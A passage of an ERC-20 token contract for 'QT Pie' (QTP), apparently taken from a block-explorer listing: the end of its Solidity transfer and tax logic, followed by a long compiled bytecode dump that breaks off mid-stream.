bool takeFee, bool buy, bool sell, bool otherTransfer) private returns (bool) { if (!_hasLiqBeenAdded) { _checkLiquidityAdd(from, to); if (!_hasLiqBeenAdded && _hasLimits(from, to)) { revert("Only owner can transfer at this time."); } } if (_hasLimits(from, to)) { bool checked; try antiSnipe.checkUser(from, to, amount) returns (bool check) { checked = check; } catch { revert(); } if(!checked) { revert(); } } _tOwned[from] -= amount; uint256 amountReceived = (takeFee) ? takeTaxes(from, buy, sell, amount) : amount; _tOwned[to] += amountReceived; emit Transfer(from, to, amountReceived); return true; } function takeTaxes(address from, bool buy, bool sell, uint256 amount) internal returns (uint256) { uint256 currentFee; if (buy) { currentFee = _taxRates.buyFee; } else if (sell) { currentFee = _taxRates.sellFee; } else { currentFee = _taxRates.transferFee; } uint256 feeAmount = amount * currentFee / masterTaxDivisor; _tOwned[address(this)] += feeAmount; emit Transfer(from, address(this), feeAmount); return amount - feeAmount; } }
0x6080604052600436106103bc5760003560e01c8063514a6812116101f2578063a9059cbb1161010d578063e4fcfd18116100a0578063eec2744e1161006f578063eec2744e14610bb1578063f94aa1b414610bd1578063fdb78c0e14610bf1578063fe575a8714610c1057600080fd5b8063e4fcfd1814610b46578063eafb5a3c14610b5c578063eb50e70e14610b7c578063ee5d9c2d14610b9c57600080fd5b8063cab5ebea116100dc578063cab5ebea14610a99578063cf84770614610ab9578063d528f32614610aea578063dd62ed3e14610b0057600080fd5b8063a9059cbb14610a59578063b1b08f7114610640578063b3d514fb14610640578063bcd96a2514610a7957600080fd5b8063773d4ffd116101855780638a8c523c116101545780638a8c523c146109b55780639242b759146109ca57806395d89b41146109fe578063a6690cf914610a4457600080fd5b8063773d4ffd1461094257806380c581d114610962578063893d20e8146109825780638a63bd9b146109a057600080fd5b80636ebd0078116101c15780636ebd0078146108cc57806370a08231146108e1578063715018a614610917578063749f2ef21461092c57600080fd5b8063514a68121461081a578063590ffdce146108535780635c24b074146108735780635cce86cd1461089357600080fd5b806329dd8798116102e257806336fddb04116102755780634ada218b116102445780634ada218b146107885780634fb2e45d146107a25780634fbee193146107c257806350a8e016146107fb57600080fd5b806336fddb04146107085780633f3cf56c14610728578063452ed4f11461074857806347aee6d81461076857600080fd5b8063313ce567116102b1578063313ce5671461068c57806332cde664146106a857806333251a0b146106c857806334cd8260146106e857600080fd5b806329dd8798146106205780632b28fc7a146106405780632cee7602146106565780632e8fa8211461067657600080fd5b8063095ea7b31161035a5780631cc43f07116103295780631cc43f07146105a057806323b872dd146105c057806326003957146105e05780632610eaca1461060057600080fd5b8063095ea7b3146105265780630962cb3f146105565780630fa604e41461057657806318160ddd1461058b57600080fd5b8063069d955f11610396578063069d955f1461044157806306fdde03146104975780630758d924146104e6578063092316021461050657600080fd5b806303fd2a45146103c85780630445b667146103fb57806305bbedb61461041f57600080fd5b366103c357005b600080fd5b3480156103d457600080fd5b506103de61dead81565b6040516001600160a01b0390911681526020015b60405180910390f35b34801561040757600080fd5b5061041160145481565b6040519081526020016103f2565b34801561042b57600080fd5b5061043f61043a36600461415f565b610c30565b005b34801561044d57600080fd5b50600c546104729061ffff808216916201000081048216916401000000009091041683565b6040805161ffff948516815292841660208401529216918101919091526060016103f2565b3480156104a357600080fd5b5060408051808201909152600681527f515420506965000000000000000000000000000000000000000000000000000060208201525b6040516103f291906141b1565b3480156104f257600080fd5b50600e546103de906001600160a01b031681565b34801561051257600080fd5b5061043f610521366004614206565b610d09565b34801561053257600080fd5b5061054661054136600461421f565b610e29565b60405190151581526020016103f2565b34801561056257600080fd5b5061041161057136600461424b565b610e40565b34801561058257600080fd5b50610411610e6b565b34801561059757600080fd5b50610411610e8b565b3480156105ac57600080fd5b5061043f6105bb366004614268565b610ecc565b3480156105cc57600080fd5b506105466105db366004614323565b611021565b3480156105ec57600080fd5b5061043f6105fb366004614364565b611099565b34801561060c57600080fd5b5061043f61061b366004614268565b6111ec565b34801561062c57600080fd5b5061043f61063b366004614386565b611301565b34801561064c57600080fd5b506104116107d081565b34801561066257600080fd5b5061043f61067136600461421f565b6113ea565b34801561068257600080fd5b5061041160155481565b34801561069857600080fd5b50604051601281526020016103f2565b3480156106b457600080fd5b5061043f6106c33660046143f9565b611472565b3480156106d457600080fd5b5061043f6106e336600461424b565b6115ad565b3480156106f457600080fd5b5061043f61070336600461443c565b61164d565b34801561071457600080fd5b5061043f610723366004614477565b61170c565b34801561073457600080fd5b5061043f610743366004614364565b611785565b34801561075457600080fd5b50600f546103de906001600160a01b031681565b34801561077457600080fd5b5061043f6107833660046144a5565b6118d8565b34801561079457600080fd5b506018546105469060ff1681565b3480156107ae57600080fd5b5061043f6107bd36600461424b565b611980565b3480156107ce57600080fd5b506105466107dd36600461424b565b6001600160a01b031660009081526006602052604090205460ff1690565b34801561080757600080fd5b5060185461054690610100900460ff1681565b34801561082657600080fd5b5061054661083536600461424b565b6001600160a01b031660009081526009602052604090205460ff1690565b34801561085f57600080fd5b5061043f61086e366004614477565b611b8e565b34801561087f57600080fd5b5061043f61088e36600461424b565b611c07565b34801561089f57600080fd5b506105466108ae36600461424b565b6001600160a01b031660009081526007602052604090205460ff1690565b3480156108d857600080fd5b50610411611d03565b3480156108ed57600080fd5b506104116108fc36600461424b565b6001600160a01b031660009081526002602052604090205490565b34801561092357600080fd5b5061043f611d1e565b34801561093857600080fd5b5061041160195481565b34801561094e57600080fd5b5061043f61095d36600461415f565b611dce565b34801561096e57600080fd5b5061043f61097d366004614477565b611e83565b34801561098e57600080fd5b506000546001600160a01b03166103de565b3480156109ac57600080fd5b5061054661202e565b3480156109c157600080fd5b5061043f61209d565b3480156109d657600080fd5b5060185461054690760100000000000000000000000000000000000000000000900460ff1681565b348015610a0a57600080fd5b5060408051808201909152600381527f515450000000000000000000000000000000000000000000000000000000000060208201526104d9565b348015610a5057600080fd5b5061043f6122ea565b348015610a6557600080fd5b50610546610a7436600461421f565b61260b565b348015610a8557600080fd5b5061043f610a943660046144d1565b612622565b348015610aa557600080fd5b5061043f610ab4366004614504565b6126f4565b348015610ac557600080fd5b50600d546104729061ffff808216916201000081048216916401000000009091041683565b348015610af657600080fd5b50610411601a5481565b348015610b0c57600080fd5b50610411610b1b366004614521565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b348015610b5257600080fd5b5061041160125481565b348015610b6857600080fd5b5061043f610b7736600461424b565b612796565b348015610b8857600080fd5b5061043f610b9736600461424b565b612b45565b348015610ba857600080fd5b5061043f612bc2565b348015610bbd57600080fd5b5061043f610bcc366004614477565b612ca5565b348015610bdd57600080fd5b506010546103de906001600160a01b031681565b348015610bfd57600080fd5b5060115461054690610100900460ff1681565b348015610c1c57600080fd5b50610546610c2b36600461424b565b612d4d565b6000546001600160a01b03163314610c835760405162461bcd60e51b815260206004820152601160248201527021b0b63632b9101e979e9037bbb732b91760791b60448201526064015b60405180910390fd5b6018546040517f05bbedb6000000000000000000000000000000000000000000000000000000008152620100009091046001600160a01b0316906305bbedb690610cd39085908590600401614593565b600060405180830381600087803b158015610ced57600080fd5b505af1158015610d01573d6000803e3d6000fd5b505050505050565b6000546001600160a01b03163314610d575760405162461bcd60e51b815260206004820152601160248201527021b0b63632b9101e979e9037bbb732b91760791b6044820152606401610c7a565b61012c811015610da95760405162461bcd60e51b815260206004820152600860248201527f546f6f206c6f772e0000000000000000000000000000000000000000000000006044820152606401610c7a565b6018546040517f0923160200000000000000000000000000000000000000000000000000000000815260048101839052620100009091046001600160a01b0316906309231602906024015b600060405180830381600087803b158015610e0e57600080fd5b505af1158015610e22573d6000803e3d6000fd5b5050505050565b6000610e36338484612ddb565b5060015b92915050565b6001600160a01b0381166000908152600a6020526040812054610e3a90662386f26fc10000906145e6565b6000610e796012600a614705565b601754610e8691906145e6565b905090565b6000610e996012600a614705565b610ea89064174876e800614714565b610eb157600080fd5b610ebd6012600a614705565b610e869064174876e800614714565b6000546001600160a01b03163314610f1a5760405162461bcd60e51b815260206004820152601160248201527021b0b63632b9101e979e9037bbb732b91760791b6044820152606401610c7a565b8051825114610f6b5760405162461bcd60e51b815260206004820152601560248201527f4c656e6774687320646f206e6f74206d617463682e00000000000000000000006044820152606401610c7a565b60005b82518160ff16101561101c57610f866012600a614705565b828260ff1681518110610f9b57610f9b614733565b6020026020010151610fad9190614714565b336000908152600260205260409020541015610fc857600080fd5b61100a838260ff1681518110610fe057610fe0614733565b6020026020010151838360ff1681518110610ffd57610ffd614733565b60200260200101516113ea565b8061101481614762565b915050610f6e565b505050565b6001600160a01b038316600090815260056020908152604080832033845290915281205460001914611086576001600160a01b038416600090815260056020908152604080832033845290915281208054849290611080908490614782565b90915550505b611091848484612ee8565b949350505050565b6000546001600160a01b031633146110e75760405162461bcd60e51b815260206004820152601160248201527021b0b63632b9101e979e9037bbb732b91760791b6044820152606401610c7a565b6103e86110f66012600a614705565b6111059064174876e800614714565b61110f91906145e6565b818361111d6012600a614705565b61112c9064174876e800614714565b6111369190614714565b61114091906145e6565b10156111b45760405162461bcd60e51b815260206004820152603260248201527f4d61782057616c6c657420616d74206d7573742062652061626f766520302e3160448201527f25206f6620746f74616c20737570706c792e00000000000000000000000000006064820152608401610c7a565b80826111c26012600a614705565b6111d19064174876e800614714565b6111db9190614714565b6111e591906145e6565b6017555050565b805182511461123d5760405162461bcd60e51b815260206004820152601560248201527f4c656e6774687320646f206e6f74206d617463682e00000000000000000000006044820152606401610c7a565b60005b82518160ff16101561101c57818160ff168151811061126157611261614733565b6020026020010151611288336001600160a01b031660009081526002602052604090205490565b101561129357600080fd5b6112ee33848360ff16815181106112ac576112ac614733565b60200260200101516012600a6112c29190614705565b858560ff16815181106112d7576112d7614733565b60200260200101516112e99190614714565b612ee8565b50806112f981614762565b915050611240565b6000546001600160a01b0316331461134f5760405162461bcd60e51b815260206004820152601160248201527021b0b63632b9101e979e9037bbb732b91760791b6044820152606401610c7a565b6018546040517f0109da690000000000000000000000000000000000000000000000000000000081528515156004820152841515602482015283151560448201528215156064820152620100009091046001600160a01b031690630109da6990608401600060405180830381600087803b1580156113cc57600080fd5b505af11580156113e0573d6000803e3d6000fd5b5050505050505050565b6000546001600160a01b031633146114385760405162461bcd60e51b815260206004820152601160248201527021b0b63632b9101e979e9037bbb732b91760791b6044820152606401610c7a565b601b5460ff161561144857600080fd5b6114546012600a614705565b61145e9082614714565b905061101c3383836000806000600161370a565b6000546001600160a01b031633146114c05760405162461bcd60e51b815260206004820152601160248201527021b0b63632b9101e979e9037bbb732b91760791b6044820152606401610c7a565b6107d08361ffff16111580156114dc57506107d08261ffff1611155b80156114ee57506107d08161ffff1611155b61153a5760405162461bcd60e51b815260206004820152601760248201527f43616e6e6f7420657863656564206d6178696d756d732e0000000000000000006044820152606401610c7a565b600c805461ffff9485167fffffffffffffffffffffffffffffffffffffffffffffffffffffffff00000000909116176201000093851693909302929092177fffffffffffffffffffffffffffffffffffffffffffffffffffff0000ffffffff166401000000009190931602919091179055565b6000546001600160a01b031633146115fb5760405162461bcd60e51b815260206004820152601160248201527021b0b63632b9101e979e9037bbb732b91760791b6044820152606401610c7a565b6018546040517f33251a0b0000000000000000000000000000000000000000000000000000000081526001600160a01b03838116600483015262010000909204909116906333251a0b90602401610df4565b6000546001600160a01b0316331461169b5760405162461bcd60e51b815260206004820152601160248201527021b0b63632b9101e979e9037bbb732b91760791b6044820152606401610c7a565b83856116a96012600a614705565b6116b89064174876e800614714565b6116c29190614714565b6116cc91906145e6565b60145581836116dd6012600a614705565b6116ec9064174876e800614714565b6116f69190614714565b61170091906145e6565b60155560125550505050565b6000546001600160a01b0316331461175a5760405162461bcd60e51b815260206004820152601160248201527021b0b63632b9101e979e9037bbb732b91760791b6044820152606401610c7a565b6001600160a01b03919091166000908152600760205260409020805460ff1916911515919091179055565b6000546001600160a01b031633146117d35760405162461bcd60e51b815260206004820152601160248201527021b0b63632b9101e979e9037bbb732b91760791b6044820152606401610c7a565b6103e86117e26012600a614705565b6117f19064174876e800614714565b6117fb91906145e6565b81836118096012600a614705565b6118189064174876e800614714565b6118229190614714565b61182c91906145e6565b10156118a05760405162461bcd60e51b815260206004820152603760248201527f4d6178205472616e73616374696f6e20616d74206d7573742062652061626f7660448201527f6520302e3125206f6620746f74616c20737570706c792e0000000000000000006064820152608401610c7a565b80826118ae6012600a614705565b6118bd9064174876e800614714565b6118c79190614714565b6118d191906145e6565b6016555050565b6000546001600160a01b031633146119265760405162461bcd60e51b815260206004820152601160248201527021b0b63632b9101e979e9037bbb732b91760791b6044820152606401610c7a565b6202a300831115801561195557506703782dace9d9000061194882600a614799565b6119529084614714565b10155b61195e57600080fd5b601983905561196e81600a614799565b6119789083614714565b601a55505050565b6000546001600160a01b031633146119ce5760405162461bcd60e51b815260206004820152601160248201527021b0b63632b9101e979e9037bbb732b91760791b6044820152606401610c7a565b6001600160a01b038116611a4a5760405162461bcd60e51b815260206004820152603d60248201527f43616c6c2072656e6f756e63654f776e65727368697020746f207472616e736660448201527f6572206f776e657220746f20746865207a65726f20616464726573732e0000006064820152608401610c7a565b6001600160a01b03811661dead1415611acb5760405162461bcd60e51b815260206004820152603d60248201527f43616c6c2072656e6f756e63654f776e65727368697020746f207472616e736660448201527f6572206f776e657220746f20746865207a65726f20616464726573732e0000006064820152608401610c7a565b60008054611ae4916001600160a01b0390911690611b8e565b611aef816001611b8e565b600080546001600160a01b031681526002602052604090205415611b3657600080546001600160a01b03168082526002602052604090912054611b3491908390612ee8565b505b6000805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0383169081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a350565b6000546001600160a01b03163314611bdc5760405162461bcd60e51b815260206004820152601160248201527021b0b63632b9101e979e9037bbb732b91760791b6044820152606401610c7a565b6001600160a01b03919091166000908152600660205260409020805460ff1916911515919091179055565b6000546001600160a01b03163314611c555760405162461bcd60e51b815260206004820152601160248201527021b0b63632b9101e979e9037bbb732b91760791b6044820152606401610c7a565b601854610100900460ff1615611c6a57600080fd5b6001600160a01b038116301415611cc35760405162461bcd60e51b815260206004820152600e60248201527f43616e27742062652073656c662e0000000000000000000000000000000000006044820152606401610c7a565b601880546001600160a01b0390921662010000027fffffffffffffffffffff0000000000000000000000000000000000000000ffff909216919091179055565b6000611d116012600a614705565b601654610e8691906145e6565b6000546001600160a01b03163314611d6c5760405162461bcd60e51b815260206004820152601160248201527021b0b63632b9101e979e9037bbb732b91760791b6044820152606401610c7a565b60008054611d85916001600160a01b0390911690611b8e565b6000805473ffffffffffffffffffffffffffffffffffffffff1916815560405181907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3565b6000546001600160a01b03163314611e1c5760405162461bcd60e51b815260206004820152601160248201527021b0b63632b9101e979e9037bbb732b91760791b6044820152606401610c7a565b60005b825181101561101c578160096000858481518110611e3f57611e3f614733565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff191691151591909117905580611e7b816147a5565b915050611e1f565b6000546001600160a01b03163314611ed15760405162461bcd60e51b815260206004820152601160248201527021b0b63632b9101e979e9037bbb732b91760791b6044820152606401610c7a565b80611f48576001600160a01b03828116600081815260036020526040808220805460ff1916905560185490517f80c581d100000000000000000000000000000000000000000000000000000000815260048101939093526024830191909152620100009004909116906380c581d190604401610cd3565b60045415611faf576203f48060045442611f629190614782565b11611faf5760405162461bcd60e51b815260206004820152601060248201527f332044617920636f6f6c646f776e2e21000000000000000000000000000000006044820152606401610c7a565b6001600160a01b0382811660008181526003602052604090819020805460ff1916600190811790915542600490815560185492517f80c581d1000000000000000000000000000000000000000000000000000000008152908101939093526024830152620100009004909116906380c581d190604401610cd3565b5050565b600080546001600160a01b0316331461207d5760405162461bcd60e51b815260206004820152601160248201527021b0b63632b9101e979e9037bbb732b91760791b6044820152606401610c7a565b600e546120979030906001600160a01b0316600019612ddb565b50600190565b6000546001600160a01b031633146120eb5760405162461bcd60e51b815260206004820152601160248201527021b0b63632b9101e979e9037bbb732b91760791b6044820152606401610c7a565b60185460ff161561213e5760405162461bcd60e51b815260206004820152601860248201527f54726164696e6720616c726561647920656e61626c65642100000000000000006044820152606401610c7a565b601854610100900460ff166121955760405162461bcd60e51b815260206004820152601860248201527f4c6971756964697479206d7573742062652061646465642e00000000000000006044820152606401610c7a565b6018546201000090046001600160a01b03166121db57601880547fffffffffffffffffffff0000000000000000000000000000000000000000ffff163062010000021790555b601854600f546040517f6c115c340000000000000000000000000000000000000000000000000000000081526001600160a01b03918216600482015263ffffffff4316602482015267ffffffffffffffff4216604482015260126064820152620100009092041690636c115c3490608401600060405180830381600087803b15801561226657600080fd5b505af1925050508015612277575060015b506018805460ff19166001179055600f546001600160a01b0316600090815260026020526040902054612710906122ae91906145e6565b601455600f546001600160a01b0316600090815260026020526040902054612710906122db906019614714565b6122e591906145e6565b601555565b6000546001600160a01b031633146123385760405162461bcd60e51b815260206004820152601160248201527021b0b63632b9101e979e9037bbb732b91760791b6044820152606401610c7a565b601b5460ff161561238b5760405162461bcd60e51b815260206004820152601360248201527f416c726561647920696e697469616c697a6564000000000000000000000000006044820152606401610c7a565b600e60009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156123de573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061240291906147c0565b6001600160a01b031663c9c65396600e60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612463573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061248791906147c0565b6040517fffffffff0000000000000000000000000000000000000000000000000000000060e084901b1681526001600160a01b0390911660048201523060248201526044016020604051808303816000875af11580156124eb573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061250f91906147c0565b600f805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b039283169081179091556000908152600360205260408120805460ff1916600117905554600e54612569929182169116600019612ddb565b600e546125839030906001600160a01b0316600019612ddb565b600080546001600160a01b0390811682526006602090815260408084208054600160ff19918216811790925530865282862080548216831790557f1aecba4ebe7a4e0673e4891b2b092b2228e4322380b579fb494fad3da8586e2280548216831790558554909416855260089092529092208054821683179055601b80549091169091179055565b6000612618338484612ee8565b5060019392505050565b6000546001600160a01b031633146126705760405162461bcd60e51b815260206004820152601160248201527021b0b63632b9101e979e9037bbb732b91760791b6044820152606401610c7a565b600d805461ffff83811662010000027fffffffffffffffffffffffffffffffffffffffffffffffffffffffff00000000909216908516171790556126b481836147dd565b600d805461ffff92909216640100000000027fffffffffffffffffffffffffffffffffffffffffffffffffffff0000ffffffff9092169190911790555050565b6000546001600160a01b031633146127425760405162461bcd60e51b815260206004820152601160248201527021b0b63632b9101e979e9037bbb732b91760791b6044820152606401610c7a565b601180548215156101000261ff00199091161790556040517f7b0a47d3b0234280b6c9213c5bbff44c8b6001bea7770b3950280f91410532579061278b90831515815260200190565b60405180910390a150565b6000546001600160a01b031633146127e45760405162461bcd60e51b815260206004820152601160248201527021b0b63632b9101e979e9037bbb732b91760791b6044820152606401610c7a565b60008190506000816001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015612829573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061284d91906147c0565b6001600160a01b031663e6a4390530846001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561289a573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906128be91906147c0565b6040517fffffffff0000000000000000000000000000000000000000000000000000000060e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381865afa158015612921573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061294591906147c0565b90506001600160a01b038116612ae357816001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015612993573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906129b791906147c0565b6001600160a01b031663c9c6539630846001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612a04573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612a2891906147c0565b6040517fffffffff0000000000000000000000000000000000000000000000000000000060e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015612a8d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612ab191906147c0565b600f805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0392909216919091179055612b0c565b600f805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0383161790555b600e805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b03841690811790915561101c903090600019612ddb565b6000546001600160a01b03163314612b935760405162461bcd60e51b815260206004820152601160248201527021b0b63632b9101e979e9037bbb732b91760791b6044820152606401610c7a565b6010805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0392909216919091179055565b6000546001600160a01b03163314612c105760405162461bcd60e51b815260206004820152601160248201527021b0b63632b9101e979e9037bbb732b91760791b6044820152606401610c7a565b601854610100900460ff1615612c685760405162461bcd60e51b815260206004820152601c60248201527f43616e6e6f742063616c6c206166746572206c69717569646974792e000000006044820152606401610c7a565b600080546040516001600160a01b03909116914780156108fc02929091818181858888f19350505050158015612ca2573d6000803e3d6000fd5b50565b6000546001600160a01b03163314612cf35760405162461bcd60e51b815260206004820152601160248201527021b0b63632b9101e979e9037bbb732b91760791b6044820152606401610c7a565b6018546040517feec2744e0000000000000000000000000000000000000000000000000000000081526001600160a01b0384811660048301528315156024830152620100009092049091169063eec2744e90604401610cd3565b6018546040517ffe575a870000000000000000000000000000000000000000000000000000000081526001600160a01b038381166004830152600092620100009004169063fe575a8790602401602060405180830381865afa158015612db7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e3a9190614803565b6001600160a01b038316612e315760405162461bcd60e51b815260206004820152601360248201527f45524332303a205a65726f2041646472657373000000000000000000000000006044820152606401610c7a565b6001600160a01b038216612e875760405162461bcd60e51b815260206004820152601360248201527f45524332303a205a65726f2041646472657373000000000000000000000000006044820152606401610c7a565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006001600160a01b038416612f665760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f20616460448201527f64726573730000000000000000000000000000000000000000000000000000006064820152608401610c7a565b6001600160a01b038316612fe25760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201527f65737300000000000000000000000000000000000000000000000000000000006064820152608401610c7a565b600082116130585760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d75737420626520677265617465722060448201527f7468616e207a65726f00000000000000000000000000000000000000000000006064820152608401610c7a565b601b5460ff166130aa5760405162461bcd60e51b815260206004820152601360248201527f4c50206e6f7420696e697469616c697a656421000000000000000000000000006044820152606401610c7a565b6001600160a01b0384166000908152600360205260408120548190819060ff16156130d85760019250613106565b6001600160a01b03861660009081526003602052604090205460ff16156131025760019150613106565b5060015b613110878761394a565b156136315760185460ff166131675760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642100000000000000006044820152606401610c7a565b82806131705750815b15613234576001600160a01b03871660009081526007602052604090205460ff161580156131b757506001600160a01b03861660009081526007602052604090205460ff16155b15613234576016548511156132345760405162461bcd60e51b815260206004820152602860248201527f5472616e7366657220616d6f756e74206578636565647320746865206d61785460448201527f78416d6f756e742e0000000000000000000000000000000000000000000000006064820152608401610c7a565b600e546001600160a01b03878116911614801590613250575081155b15613316576001600160a01b03861660009081526007602052604090205460ff166133165760175485613298886001600160a01b031660009081526002602052604090205490565b6132a29190614820565b11156133165760405162461bcd60e51b815260206004820152602a60248201527f5472616e7366657220616d6f756e74206578636565647320746865206d61785760448201527f616c6c657453697a652e000000000000000000000000000000000000000000006064820152608401610c7a565b601854760100000000000000000000000000000000000000000000900460ff1615613631576001600160a01b03871660009081526009602052604090205460ff16801561336f5782806133665750835b61336f57600080fd5b8280156133795750805b8015613388575060115460ff16155b1561362f5760408051600280825260608201835260009260208301908036833701905050905030816000815181106133c2576133c2614733565b6001600160a01b03928316602091820292909201810191909152600e54604080517fad5c46480000000000000000000000000000000000000000000000000000000081529051919093169263ad5c46489260048083019391928290030181865afa158015613434573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061345891906147c0565b8160018151811061346b5761346b614733565b6001600160a01b039283166020918202929092010152600e546040517fd06ca61f000000000000000000000000000000000000000000000000000000008152600092919091169063d06ca61f906134c8908b908690600401614838565b600060405180830381865afa1580156134e5573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f1916820160405261350d9190810190614851565b60018151811061351f5761351f614733565b6020026020010151905042601954600b60008d6001600160a01b03166001600160a01b031681526020019081526020016000205461355d9190614820565b101561359f57601a5481111561357257600080fd5b6001600160a01b038a166000908152600b60209081526040808320429055600a909152902081905561362c565b6019546001600160a01b038b166000908152600b602052604090205442916135c691614820565b111561362c57601a546001600160a01b038b166000908152600a60205260409020546135f3908390614820565b11156135fe57600080fd5b6001600160a01b038a166000908152600a602052604081208054839290613626908490614820565b90915550505b50505b505b6001600160a01b03871660009081526006602052604090205460019060ff168061367357506001600160a01b03871660009081526006602052604090205460ff165b1561367c575060005b82156136ef5760115460ff1615801561369c5750601154610100900460ff165b156136ef57426012546013546136b29190614820565b10156136ef573060009081526002602052604090205460145481106136ed5760155481106136df57506015545b6136e881613a1f565b426013555b505b6136fe8888888488888861370a565b98975050505050505050565b601854600090610100900460ff166137b6576137268888613e0f565b601854610100900460ff161580156137435750613743888861394a565b156137b65760405162461bcd60e51b815260206004820152602560248201527f4f6e6c79206f776e65722063616e207472616e7366657220617420746869732060448201527f74696d652e0000000000000000000000000000000000000000000000000000006064820152608401610c7a565b6137c0888861394a565b15613873576018546040517fecd07a530000000000000000000000000000000000000000000000000000000081526001600160a01b038a81166004830152898116602483015260448201899052600092620100009004169063ecd07a53906064016020604051808303816000875af192505050801561385c575060408051601f3d908101601f1916820190925261385991810190614803565b60015b61386557600080fd5b90508061387157600080fd5b505b6001600160a01b0388166000908152600260205260408120805488929061389b908490614782565b9091555060009050856138ae57866138ba565b6138ba8986868a613f6d565b6001600160a01b0389166000908152600260205260408120805492935083929091906138e7908490614820565b92505081905550876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161393391815260200190565b60405180910390a350600198975050505050505050565b600080546001600160a01b0384811691161480159061397757506000546001600160a01b03838116911614155b801561398e57506000546001600160a01b03163214155b80156139b357506001600160a01b03821660009081526008602052604090205460ff16155b80156139d857506001600160a01b03831660009081526008602052604090205460ff16155b80156139ef57506001600160a01b03821661dead14155b8015613a0357506001600160a01b03821615155b8015613a1857506001600160a01b0383163014155b9392505050565b6011805460ff1916600117905560408051606081018252600d5461ffff8082168352620100008204811660208401526401000000009091041691810182905290613a695750613e02565b306000908152600560209081526040808320600e546001600160a01b0316845290915290205460001914613ac257306000908152600560209081526040808320600e546001600160a01b03168452909152902060001990555b60006002826040015161ffff16836000015161ffff1685613ae39190614714565b613aed91906145e6565b613af791906145e6565b90506000613b058285614782565b60408051600280825260608201835292935060009290916020830190803683370190505090503081600081518110613b3f57613b3f614733565b6001600160a01b03928316602091820292909201810191909152600e54604080517fad5c46480000000000000000000000000000000000000000000000000000000081529051919093169263ad5c46489260048083019391928290030181865afa158015613bb1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613bd591906147c0565b81600181518110613be857613be8614733565b6001600160a01b039283166020918202929092010152600e546040517f791ac94700000000000000000000000000000000000000000000000000000000815291169063791ac94790613c479085906000908690309042906004016148d7565b600060405180830381600087803b158015613c6157600080fd5b505af1158015613c75573d6000803e3d6000fd5b5047925060009150849050613c8a8684614714565b613c9491906145e6565b90508415613d8557600e546040517ff305d71900000000000000000000000000000000000000000000000000000000815230600482015260248101879052600060448201819052606482015261dead60848201524260a48201526001600160a01b039091169063f305d71990839060c40160606040518083038185885af1158015613d23573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190613d489190614913565b505060408051838152602081018890527f424db2872186fa7e7afa7a5e902ed3b49a2ef19c2f5431e672462495dd6b450692500160405180910390a15b613d8f8183614782565b9150856000015186604001818151613da79190614941565b61ffff90811690915260208801518492501615613dfa576010546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015613df8573d6000803e3d6000fd5b505b505050505050505b506011805460ff19169055565b601854610100900460ff1615613e8d5760405162461bcd60e51b815260206004820152602360248201527f4c697175696469747920616c726561647920616464656420616e64206d61726b60448201527f65642e00000000000000000000000000000000000000000000000000000000006064820152608401610c7a565b613e97828261394a565b158015613eb15750600f546001600160a01b038281169116145b1561202a576001600160a01b038083166000908152600860205260409020805460ff191660011790556018805461ff001916610100179081905562010000900416613f2657601880547fffffffffffffffffffff0000000000000000000000000000000000000000ffff163062010000021790555b6011805461ff001916610100179055604051600181527f7b0a47d3b0234280b6c9213c5bbff44c8b6001bea7770b3950280f91410532579060200160405180910390a15050565b6000808415613f835750600c5461ffff16613fad565b8315613f9c5750600c5462010000900461ffff16613fad565b50600c54640100000000900461ffff165b6000612710613fbc8386614714565b613fc691906145e6565b30600090815260026020526040812080549293508392909190613fea908490614820565b909155505060405181815230906001600160a01b038916907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a36140398185614782565b979650505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051601f8201601f1916810167ffffffffffffffff8111828210171561409c5761409c614044565b604052919050565b600067ffffffffffffffff8211156140be5761